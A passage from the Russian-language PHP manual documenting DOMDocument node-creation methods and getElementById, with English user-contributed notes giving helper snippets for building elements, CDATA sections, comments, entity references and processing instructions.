  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

Marc info[at]braincast.nl 08-Mar-2011 01:55
Here's some code that takes an associative array and prints it asXML() but creates CDATA sections for each string

<?php
class SimpleXMLExtended extends SimpleXMLElement{
    public function addCData($string){
        $dom = dom_import_simplexml($this);
        $cdata = $dom->ownerDocument->createCDATASection($string);
        $dom->appendChild($cdata);
    }
}
function assocArrayToXML($root_element_name,$ar){
    $xml = new SimpleXMLExtended("<?xml version=\"1.0\"?><{$root_element_name}></{$root_element_name}>");
    $f = create_function('$f,$c,$a','
            foreach($a as $k=>$v) {
                if(is_array($v)) {
                    if (!is_numeric($k))$ch=$c->addChild($k);
                    else $ch = $c->addChild(substr($c->getName(),0,-1));
                    $f($f,$ch,$v);
                } else {
                    if (is_numeric($v)){ $c->addChild($k, $v);
                    }else{$n = $c->addChild($k); $n->addCData($v);}
                }
            }');
    $f($f,$xml,$ar);
    return $xml->asXML();
}

/* sample */
$result = array("title"=>"CDATA Sample");
$result['items'] = array();
$result['items'][] = array('title'=>'Some string', 'number' => 1);
$result['items'][] = array('title'=>'Some string', 'number' => 2);
$result['items'][] = array('title'=>'Some string', 'number' => 3);

echo assocArrayToXML('result',$result);
?>

The is_numeric check could be changed by a more elaborate regular expression to check if the string is actually xml unsafe but this worked for me.
jesdisciple dot FOO at gmail dot BAR dot com 08-Jul-2010 04:44
If you would like to refer to the documentation for the class of the returned object, see http://www.php.net/manual/en/class.domcharacterdata.php
info at troptoek dot com 24-Mar-2008 09:40
A common issue seems to be adding javascript to CDATA and the browser throwing a javascript error. To ensure the javascript works use the following code when adding CDATA:

<?php
/**
 * Append Caracter Data to a node and check for a javascript node
 *
 * @param DOMElement $appendToNode
 * @param string $text
 */
function appendCdata($appendToNode, $text)
{
    if (strtolower($appendToNode->nodeName) == 'script') {  // Javascript hack
        $cm = $appendToNode->ownerDocument->createTextNode("\n//");
        $ct = $appendToNode->ownerDocument->createCDATASection("\n" . $text . "\n//");
        $appendToNode->appendChild($cm);
        $appendToNode->appendChild($ct);
    } else {  // Normal CDATA node
        $ct = $appendToNode->ownerDocument->createCDATASection($text);
        $appendToNode->appendChild($ct);
    }
}
?>
The result should be:

<script type="text/javascript">
//<![CDATA[
function someJsText() {
   document.write('Some js with <a href="#">HTML</a> content');
}
//]]></script>
loathsome 04-Aug-2007 02:28
Here's a function that will create a CDATA-section around a string coming from SimpleXML.

<?php
function sxml_cdata($path, $string){
  $dom = dom_import_simplexml($path);
  $cdata = $dom->ownerDocument->createCDATASection($string);
  $dom->appendChild($cdata);
}
?>


Создать новый узел комментария

  • « DOMDocument::createCDATASection
  • DOMDocument::createDocumentFragment »
  • PHP Manual
  • DOMDocument
  • Создать новый узел комментария

DOMDocument::createComment

(PHP 5, PHP 7, PHP 8)

DOMDocument::createComment — Создать новый узел комментария

Описание

public DOMDocument::createComment(string $data): DOMComment

Эта функция создаёт новый экземпляр класса DOMComment. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

data

Содержимое комментария.

Возвращаемые значения

Новый объект класса DOMComment.

Список изменений

Версия | Описание
8.1.0 | В случае возникновения ошибки теперь выбрасывает исключение DomException. Ранее вместо этого возвращалось значение false.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

php dot sirlancelot at spamgourmet dot com 25-Nov-2009 12:10
To prevent a parser error when the comment string would contain the character sequence "--", do this:

<?php

$CommentString = 'This contains -- some weird -- characters.';

$CommentNode = $DomDocument->createComment(
        str_replace('--', '-'.chr(194).chr(173).'-', $CommentString)
);
?>

This will insert a Soft Hyphen in between the two hyphens which will not cause the parser to error out.
capps at solareclipse dot net 29-Mar-2007 03:55
Use caution: this function does NOT escape, encode, or otherwise change the contents of the string.

This means that if your string contains two hyphens in a row (--), that will *end* the comment, which can easily create invalid XML when the document is serialized.


Создаёт новый фрагмент документа

  • « DOMDocument::createComment
  • DOMDocument::createElement »
  • PHP Manual
  • DOMDocument
  • Создаёт новый фрагмент документа

DOMDocument::createDocumentFragment

(PHP 5, PHP 7, PHP 8)

DOMDocument::createDocumentFragment — Создаёт новый фрагмент документа

Описание

public DOMDocument::createDocumentFragment(): DOMDocumentFragment

Эта функция создаёт новый экземпляр класса DOMDocumentFragment. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает новый объект класса DOMDocumentFragment.

Список изменений

Версия | Описание
8.1.0 | В случае возникновения ошибки теперь выбрасывает исключение DomException. Ранее вместо этого возвращалось значение false.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

info at ensostudio dot ru 14-Dec-2021 07:37
You can use fragments to set inner HTML:
<?php
$dom = new DOMImplementation();
$document = $dom->createDocument(null, 'html', $dom->createDocumentType('html'));

$div = $document->appendChild($document->createElement('div', '<small>test</small> me'));
echo $document->saveHTML($div);
// <div>&lt;small&gt;test&lt;/small&gt; me</div>

$div = $document->appendChild($document->createElement('div'));
$div->nodeValue = '<small>test</small> me';
echo $document->saveHTML($div);
// <div>&lt;small&gt;test&lt;/small&gt; me</div>

$div = $document->appendChild($document->createElement('div'));
$divInner = $document->createDocumentFragment();
$divInner->appendXML('<small>test</small> me');
$div->appendChild($divInner);
echo $document->saveHTML($div);
// <div><small>test</small> me</div>

?>


Создаёт новый узел элемента

  • « DOMDocument::createDocumentFragment
  • DOMDocument::createElementNS »
  • PHP Manual
  • DOMDocument
  • Создаёт новый узел элемента

DOMDocument::createElement

(PHP 5, PHP 7, PHP 8)

DOMDocument::createElement — Создаёт новый узел элемента

Описание

public DOMDocument::createElement(string $localName, string $value = ""): DOMElement|false

Эта функция создаёт экземпляр класса DOMElement. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

localName

Имя тега элемента.

value

Значение элемента. По умолчанию будет создан пустой элемент. Значение также может быть установлено позднее путём присваивания при прямом обращении к свойству DOMElement::$nodeValue.

Значение будет установлено дословно, за исключением символов < и >, которые будут экранированы. Обратите внимание, что символ & нужно экранировать самому, иначе он будет рассматриваться как начало ссылки на сущность. Символ кавчек " также не будет экранирован.

Возвращаемые значения

Возвращает новый объект класса DOMElement или false в случае возникновения ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если параметр localName содержит недопустимые символы.

Примеры

Пример #1 Создание нового элемента и вставка его в качестве корневого

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElement('test', 'Это корневой элемент!');

// Вставляем новый элемент как корень (потомок документа)
$dom->appendChild($element);

echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<test>Это корневой элемент!</test>

Пример #2 Передача текста, содержащего неэкранированный & в value

<?php
$dom = new DOMDocument('1.0', 'utf-8');
$element = $dom->createElement('foo', 'я & ты');
$dom->appendChild($element);
echo $dom->saveXML();
?>

Вывод приведённого примера будет похож на:

Warning: DOMDocument::createElement(): unterminated entity reference             you in /in/BjTCg on line 4
<?xml version="1.0" encoding="utf-8"?>
<foo/>

Примечания

Замечание:

Значение value не будет экранировано. Используйте функцию DOMDocument::createTextNode() для создания текстового узла с поддержкой экранирования.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

dignat at yahoo dot com 15-Nov-2017 10:25
To create an element with DomDocument and to escape ampersand in the value.

Do this:

$element = new DOMDocument('1.0', 'UTF-8');

$test = $element->createElement('text');

$test ->appendChild($element->createElement('name'))
      ->appendChild($element->createtextNode('& I am ampersand');
tschmieder at bitworks dot de 24-Mar-2015 05:42
Remember:

If you want to perform multiple actions with a new node, you may need to create a copy of it before

means:
## Create an address to an unique memory block !
$td = $dom->createElement('td');
## Change some things in this original unique pattern
$td->setAttribute('class', 'saldo');

## clone the unique pattern to two own one's
$td1 = clone $td;
$td2 = clone $td;

## alter properties in each one
$td1->nodeValue = 'Ich bin die erste neue Node';
$td2->nodeValue = 'Ich bin die zweite neue Node';

## find the parent element
$tr = $dom->getElementById('t001-tr001');
## find the first and the last child (here only for clearity)
$first = $tr->firstChild;
$last = $tr->lastChild;

## produce the new nodes
$newtd1 = $tr->insertBefore($td1, $first);
$newtd2 = $tr->appendChild($td2);

conclusion:
YOU NEED AN ORIGINAL NEW NODE FOR EACH ACTION!
funkathustra 04-Mar-2012 08:44
Although the built-in DOM functions are great, since they're designed to support generic XML, generating HTML DOMs becomes particularly verbose. I ended up writing this function to drastically speed things up.
Instead of calling something like
<?php
  $div = $dom->createElement("div");
  $div->setAttribute("class","MyClass");
  $div->setAttribute("id","MyID");
  $someOtherDiv->appendChild($div);
?>
you can accomplish the same thing with:
<?php
  $div = newElement("div", $someOtherDiv, "class=MyClass;id=MyID");
?>
The "key1=value;key2=value" syntax is really fast to use, but obviously doesn't hold up if your content has those characters in it. So, you can also pass it an array:
<?php
  $div = newElement("div", $someOtherDiv, array("class","MyClass"));
?>
Or an array of arrays, representing different attributes:
<?php
  $div = newElement("form", $someOtherDiv, array(array("method","get"), array("action","/refer/?id=5");
?>

Here's the function:

<?php
function newElement($type, $insertInto = NULL, $params=NULL, $content="")
    {
        $tempEl =  $this->dom->createElement($type, $content);
        if(gettype($params) == "string" && strlen($params) > 0)
        {
            $attributesCollection =split(";", $params);
            foreach($attributesCollection  as $attribute)
            {
                $keyvalue = split("=", $attribute);
                $tempEl->setAttribute($keyvalue[0], $keyvalue[1]);
            }
        }
        if(gettype($params) == "array")
        {
            if(gettype($params[0]) == "array")
            {
                foreach($params as $attribute)
                {
                    $tempEl->setAttribute($attribute[0], $attribute[1]);
                }
            } else {
                $tempEl->setAttribute($params[0], $params[1]);
            }
        }
?>
lars dot c dot magnusson at gmail dot com 26-Nov-2010 01:56
You may think insertBefore and insertAfter is a direct alternative for appendChild, this is not the case.

<?php
$dom = new DOMDocument();
$dom->load($file);

$dom->appendChild($newNode); //Works fine
$dom->insertBefore($newNode, $refNode); //Will fail

$refNode->parentNode->insertBefore($newNode, $refNode); // thanx to yasindagli (first post)
?>
yasindagli at gmail dot com 17-Jun-2009 02:01
To create elements with attributes,

<?php

function createElement($domObj, $tag_name, $value = NULL, $attributes = NULL)
{
    $element = ($value != NULL ) ? $domObj->createElement($tag_name, $value) : $domObj->createElement($tag_name);

    if( $attributes != NULL )
    {
        foreach ($attributes as $attr=>$val)
        {
            $element->setAttribute($attr, $val);
        }
    }

    return $element;
}

$dom = new DOMDocument('1.0', 'utf-8');

$elm = createElement($dom, 'foo', 'bar', array('attr_name'=>'attr_value'));

$dom->appendChild($elm);

echo $dom->saveXML();

?>

outputs :
<?xml version="1.0" encoding="utf-8"?>
<foo attr_name="attr_value">bar</foo>
chris AT cmbuckley DOT co DOT uk 26-May-2009 07:45
Note that the NUL character "\0" is not in the list of invalid characters for $name, so no error is triggered, but the tag name will be truncated at the null byte:

<?php

$dom = new DOMDocument('1.0', 'utf-8');
$el = $dom->createElement('foo' . "\0" . 'bar', 'Hello World');
echo $el->tagName; // outputs "foo"

?>
estill at gvtc dot com 12-Jun-2007 02:38
Note that the second parameter (value), although convenient, is non-standard. You should create elements like this instead:

<?php
$doc = new DOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElement('test');
$doc->appendChild($root);

$root_text = $doc->createTextNode('This is the root element!');
$root->appendChild($root_text);

print $doc->saveXML();
?>

Or, alternatively, extend the DOMDocument class and add your own custom, convenience method to avoid intruding on the standard:

<?php
class CustomDOMDocument extends DOMDocument {
  function createElementWithText($name, $child_text) {
    // Creates an element with a child text node

    // @param  string  $name        element tag name
    // @param  string  $child_text  child node text

    // @return  object  new element

    $element = $this->createElement($name);

    $element_text = $this->createTextNode($child_text);
    $element->appendChild($element_text);

    return $element;
  }
}

$doc = new CustomDOMDocument('1.0', 'iso-8859-1');

$root = $doc->createElementWithText('test', 'This is the root element!');
$doc->appendChild($root);

print $doc->saveXML();
?>

Also use caution with (or avoid) the 'DOMElement->nodeValue' property. It can return some unexpected values and changing its value will replace (remove) all descendants of the element with a single text node. It's also non-standard; according to the DOM spec it should return NULL.
mikek dot nospam at nospam dot muonics dot com 03-Mar-2007 05:24
With regard to the note below about needing htmlentities to avoid warnings about unterminated entity references, I thought it worthwhile to mention that that you don't need to with createTextNode and DOMText::__construct.  If you mix both methods of setting text nodes and do (or don't) apply htmlentities consistently to all data to be displayed, you'll get &amp;s (or warnings and badly-formed xml).

It's probably in one's best interest to extend DOMElement and DOMDocument so that it creates a DOMText node and appends it, rather than passing it up to the DOMElement constructor.  Otherwise, good luck using (or not using) htmlentities in all the right places in your code, especially as code changes get made.

<?php

class XDOMElement extends DOMElement {
    function __construct($name, $value = null, $namespaceURI = null) {
        parent::__construct($name, null, $namespaceURI);
    }
}

class XDOMDocument extends DOMDocument {
    function __construct($version = null, $encoding = null) {
        parent::__construct($version, $encoding);
        $this->registerNodeClass('DOMElement', 'XDOMElement');
    }

    function createElement($name, $value = null, $namespaceURI = null) {
        $element = new XDOMElement($name, $value, $namespaceURI);
        $element = $this->importNode($element);
        if (!empty($value)) {
            $element->appendChild(new DOMText($value));
        }
        return $element;
    }
}

$doc1 = new XDOMDocument();
$doc1_e1 = $doc1->createElement('foo', 'bar & baz');
$doc1->appendChild($doc1_e1);
echo $doc1->saveXML();

$doc2 = new XDOMDocument();
$doc2_e1 = $doc2->createElement('foo');
$doc2->appendChild($doc2_e1);
$doc2_e1->appendChild($doc2->createTextNode('bar & baz'));
echo $doc2->saveXML();

?>

Text specified in createElement:
<?xml version=""?>
<foo>bar &amp; baz</foo>

Text added via createTextNode:
<?xml version=""?>
<foo>bar &amp; baz</foo>
sergsokolenko at gmail dot com 30-Jan-2007 04:11
To avoid warning message "unterminated entity reference" you may use htmlentities() for escaping supplied value:
<?php
//...
$dom->createElement('name', htmlentities($text))
//...
?>


Создать новый узел элемента с соответствующим пространством имён

  • « DOMDocument::createElement
  • DOMDocument::createEntityReference »
  • PHP Manual
  • DOMDocument
  • Создать новый узел элемента с соответствующим пространством имён

DOMDocument::createElementNS

(PHP 5, PHP 7, PHP 8)

DOMDocument::createElementNS — Создать новый узел элемента с соответствующим пространством имён

Описание

public DOMDocument::createElementNS(?string $namespace, string $qualifiedName, string $value = ""): DOMElement|false

Эта функция создаёт новый узел-элемент с соответствующим пространством имён. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

namespace

URI пространства имён.

qualifiedName

Квалифицированное имя элемента в виде prefix:tagname.

value

Значение элемента. По умолчанию будет создан пустой элемент. Задать значение также можно позднее с помощью DOMElement::$nodeValue.

Возвращаемые значения

Новый объект класса DOMElement или false в случае возникновения ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если qualifiedName содержит недопустимые символы.

DOM_NAMESPACE_ERR

Возникает, если qualifiedName не верно сформировано.

Примеры

Пример #1 Создание элемента и вставка в документ в качестве корневого

<?php

$dom = new DOMDocument('1.0', 'utf-8');

$element = $dom->createElementNS('http://www.example.com/XFoo', 'xfoo:test', 'Это корневой элемент!');

// Вставляем новый элемент как корень (потомок документа)
$dom->appendChild($element);

echo $dom->saveXML();
?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<xfoo:test xmlns:xfoo="http://www.example.com/XFoo">Это корневой элемент!</xfoo:test>

Пример #2 Пример префикса пространства имён

<?php
$doc = new DOMDocument('1.0', 'utf-8');
$doc->formatOutput = true;
$root = $doc->createElementNS('http://www.w3.org/2005/Atom', 'element');
$doc->appendChild($root);
$root->setAttributeNS('http://www.w3.org/2000/xmlns/' ,'xmlns:g', 'http://base.google.com/ns/1.0');
$item = $doc->createElementNS('http://base.google.com/ns/1.0', 'g:item_type', 'house');
$root->appendChild($item);

echo $doc->saveXML(), "\n";

echo $item->namespaceURI, "\n"; // Выведет: http://base.google.com/ns/1.0
echo $item->prefix, "\n"; // Выведет: g
echo $item->localName, "\n"; // Выведет: item_type
?>

Результат выполнения приведённого примера:

<?xml version="1.0" encoding="utf-8"?>
<element xmlns="http://www.w3.org/2005/Atom" xmlns:g="http://base.google.com/ns/1.0">
  <g:item_type>house</g:item_type>
</element>

http://base.google.com/ns/1.0
g
item_type

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

Martin 27-Dec-2011 09:39
To avoid multiple xmlns re-declaration, make sure you appending ElementNS into actual DOMDocument tree (not into some currently-assembed derelict element).


Создать новый узел ссылки на сущность

  • « DOMDocument::createElementNS
  • DOMDocument::createProcessingInstruction »
  • PHP Manual
  • DOMDocument
  • Создать новый узел ссылки на сущность

DOMDocument::createEntityReference

(PHP 5, PHP 7, PHP 8)

DOMDocument::createEntityReference — Создать новый узел ссылки на сущность

Описание

public DOMDocument::createEntityReference(string $name): DOMEntityReference|false

Эта функция создаёт экземпляр класса DOMEntityReference. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

name

Содержимое ссылки на сущность, например, ссылка на сущность без & в начале и ; в конце.

Возвращаемые значения

Новый объект класса DOMEntityReference или false в случае возникновения ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если name содержит недопустимые символы.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

alicewonder at shastaherps dot org 24-Sep-2015 07:48
It appears that this does not work with numbered entities, only named entities.

$nbspace = $dom->createEntityReference('nbsp');

works

$nbspace = $dom->createEntityReference('#160');

does not. This makes this function rather useless when generating an XSL unless you modify the XSL doctype to include the named entity for the character you want.
Tuhin Bepari 04-Nov-2013 06:00
<?php
/*Entity is a group of words which print a special symbol.
Like if we want to show copy right symbol in html page then we use &copy; code and browser convert this to actual copyright symbol.
There have lots of entity, you can find them all form http://dev.w3.org/html5/html-author/charref
if you want to use < or > or both <> into a node value than xml will give and warning or make this value as a node.
So tell the xml parser that < or > is not tag symbol it is a entity.To do that you have to right &lt(<) and &gt;(>) instead of < and > symbol.

Entity references always begin with an ampersand (&) and end with a semicolon (;).
DO not need to use & and ; symbol begin and end of entity.Remove it when you want to use it to DOMDocument::createEntityReference
Then append to to a tag where you want to show this symbol.Like below
*/
$dom=new DOMDocument("1.0","UTF-8");
$example=$dom->createElement("example","This is copyright ");
$entity=$dom->createEntityReference("copy");
$example->appendChild($entity);
$dom->appendChild($example);
echo $dom->saveXML();

output is
This is copyright ©


Создать новый PI-узел

  • « DOMDocument::createEntityReference
  • DOMDocument::createTextNode »
  • PHP Manual
  • DOMDocument
  • Создать новый PI-узел

DOMDocument::createProcessingInstruction

(PHP 5, PHP 7, PHP 8)

DOMDocument::createProcessingInstruction — Создать новый PI-узел

Описание

public DOMDocument::createProcessingInstruction(string $target, string $data = ""): DOMProcessingInstruction|false

Эта функция создаёт экземпляр класса DOMProcessingInstruction. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

target

Цель инструкции для обработчика документа.

data

Содержимое инструкции обработчика.

Возвращаемые значения

Новый объект класса DOMProcessingInstruction либо false в случае возникновения ошибки.

Ошибки

DOM_INVALID_CHARACTER_ERR

Возникает, если target содержит недопустимы символы.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createTextNode() - Создать новый текстовый узел

User Contributed Notes

romain at supinfo dot com 03-Feb-2009 11:57
A use exemple of this method :

Usefull for generating an XML linked with a XSLT !

<?php

// "Create" the document.
$xml = new DOMDocument( "1.0", "ISO-8859-15" );

//to have indented output, not just a line
$xml->preserveWhiteSpace = false;
$xml->formatOutput = true;

// ------------- Interresting part here ------------

//creating an xslt adding processing line
$xslt = $xml->createProcessingInstruction('xml-stylesheet', 'type="text/xsl" href="base.xsl"');

//adding it to the xml
$xml->appendChild($xslt);

// ----------- / Interresting part here -------------

//adding some elements
$root = $xml->createElement("list");
$node = $xml->createElement("contact", "John Doe");
$root-> appendChild($node);
$xml-> appendChild($root);

//creating the file
$xml-> save("output.xml");

?>

output.xml :

<?xml version="1.0" encoding="ISO-8859-15"?>
<?xml-stylesheet type="text/xsl" href="base.xsl"?> //the line has been created successfully
<list>
  <contact>John Doe</contact>
</list>


Создать новый текстовый узел

  • « DOMDocument::createProcessingInstruction
  • DOMDocument::getElementById »
  • PHP Manual
  • DOMDocument
  • Создать новый текстовый узел

DOMDocument::createTextNode

(PHP 5, PHP 7, PHP 8)

DOMDocument::createTextNode — Создать новый текстовый узел

Описание

public DOMDocument::createTextNode(string $data): DOMText

Эта функция создаёт экземпляр класса DOMText. Этот узел не будет отображаться в документе до тех пор, пока он не будет вставлен, например, функцией DOMNode::appendChild().

Список параметров

data

Содержимое узла.

Возвращаемые значения

Возвращает новый объект класса DOMText.

Список изменений

Версия | Описание
8.1.0 | В случае возникновения ошибки теперь выбрасывает исключение DomException. Ранее вместо этого возвращалось значение false.

Смотрите также

  • DOMNode::appendChild() - Добавляет новый дочерний узел в конец списка потомков
  • DOMDocument::createAttribute() - Создаёт новый атрибут
  • DOMDocument::createAttributeNS() - Создаёт новый атрибут узла с соответствующим пространством имён
  • DOMDocument::createCDATASection() - Создаёт новый узел cdata
  • DOMDocument::createComment() - Создать новый узел комментария
  • DOMDocument::createDocumentFragment() - Создаёт новый фрагмент документа
  • DOMDocument::createElement() - Создаёт новый узел элемента
  • DOMDocument::createElementNS() - Создать новый узел элемента с соответствующим пространством имён
  • DOMDocument::createEntityReference() - Создать новый узел ссылки на сущность
  • DOMDocument::createProcessingInstruction() - Создать новый PI-узел

User Contributed Notes

drewish at katherinehouse dot com 16-Dec-2014 10:03
The docs don't mention it but this method performs escaping on the value. If you don't want that use createElement() instead.
Alex Kaye 25-Jul-2009 07:04
A quick note to anyone who is using character entities (e.g. &copy;) in this, and finding them automatically escaped. The correct thing to do here is to use the createEntityReference method (e.g. createEntityReference("copy");), and then appendChild this entity between text nodes.

Example:

<?php
$copyright_text_1 = $this->document->createTextNode("Copyright ");
$copyright_text_2 = $this->document->createTextNode(" Alex Kaye 2009");
$copyright_symbol = $this->document->createEntityReference("copy");
$copyright->appendChild($copyright_text_1);
$copyright->appendChild($copyright_symbol);
$copyright->appendChild($copyright_text_2);
?>


Ищет элемент с определённым идентификатором

  • « DOMDocument::createTextNode
  • DOMDocument::getElementsByTagName »
  • PHP Manual
  • DOMDocument
  • Ищет элемент с определённым идентификатором

DOMDocument::getElementById

(PHP 5, PHP 7, PHP 8)

DOMDocument::getElementById — Ищет элемент с определённым идентификатором

Описание

public DOMDocument::getElementById(string $elementId): ?DOMElement

Эта функция похожа на DOMDocument::getElementsByTagName, но ищет элемент с заданным идентификатором.

Для работы этой функции необходимо установить атрибуты идентификаторов с помощью DOMElement::setIdAttribute, либо DTD, который определяет атрибут идентификатора типа. В последнем случае перед использованием этой функции вам необходимо будет проверить документ с помощью DOMDocument::validate или DOMDocument::$validateOnParse.

Список параметров

elementId

Уникальный значение идентификатора элемента.

Возвращаемые значения

Возвращает объект DOMElement или null, если элемент не найден.

Примеры

Пример #1 Пример использования DOMDocument::getElementById()

Следующие примеры используют файл book.xml, который содержит следующие данные:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE books [
  <!ELEMENT books   (book+)>
  <!ELEMENT book    (title, author+, xhtml:blurb?)>
  <!ELEMENT title   (#PCDATA)>
  <!ELEMENT blurb   (#PCDATA)>
  <!ELEMENT author  (#PCDATA)>
  <!ATTLIST books   xmlns        CDATA  #IMPLIED>
  <!ATTLIST books   xmlns:xhtml  CDATA  #IMPLIED>
  <!ATTLIST book    id           ID     #IMPLIED>
  <!ATTLIST author  email        CDATA  #IMPLIED>
]>
<?xml-stylesheet type="text/xsl" href="style.xsl"?>
<books xmlns="http://books.php/" xmlns:xhtml="http://www.w3.org/1999/xhtml">
  <book id="php-basics">
    <title>PHP Basics</title>
    <author email="jim.smith@basics.php">Jim Smith</author>
    <author email="jane.smith@basics.php">Jane Smith</author>
    <xhtml:blurb><![CDATA[
<p><em>PHP Basics</em> provides an introduction to PHP.</p>
]]></xhtml:blurb>
  </book>
  <book id="php-advanced">
    <title>PHP Advanced Programming</title>
    <author email="jon.doe@advanced.php">Jon Doe</author>
  </book>
</books>
<?php

$doc = new DomDocument;

// Нужно проверить документ перед тем как ссылаться по идентификатору
$doc->validateOnParse = true;
$doc->Load('book.xml');

echo "Элемент с идентификатором 'php-basics': " . $doc->getElementById('php-basics')->tagName . "\n";

?>

Результат выполнения приведённого примера:

Элемент с идентификатором 'php-basics': book

Смотрите также

  • DOMDocument::getElementsByTagName() - Ищет все элементы с заданным локальным именем

User Contributed Notes

Hoi 07-Jul-2020 10:39
To set a hidden id that can be used by $dom->getElementById() apply setAttribute('id', true) as in the following example

                    $createItemNode = function ($data) use ($dom) {
                        $node = $dom->createElement("Item");
                        $node->setAttribute('id', $data->id);
                        $node->setAttribute('hed', $data->hed);
                        $node->setAttribute('run_time', $data->run_time);
                        $node->setAttribute('date', $data->date);

                        // Internally mark the id as 'xml:id' for getElementById to work. Adding xml:id manually to the tag will cause loadXML to throw an error DOMDocument: xml:id is not a NCName in Entity
                        $node->setIdAttribute('id', true);

                        return $node;
                    };

With $node->setIdAttribute('id', true), $dom->getElementById($id) will work

When you do $dom->saveXML(), the final doc will not contain any xml:id attribute.
ed at edgiardina dot com 13-Oct-2010 11:41
Please note that if your HTML does not contain a doctype declaration, then getElementById will always return null.
paradox_haze at live dot de 02-Mar-2010 10:53
Had some issues with getElementById() while searching for a specific element in a XHTML document.
I wrote a small function what was solving my problem:

<?php
function getElementById($id)
{
    $xpath = new DOMXPath($this->domDocument);
    return $xpath->query("//*[@id='$id']")->item(0);
}
?>
carl2088 at gmail dot com 11-Apr-2009 12:41
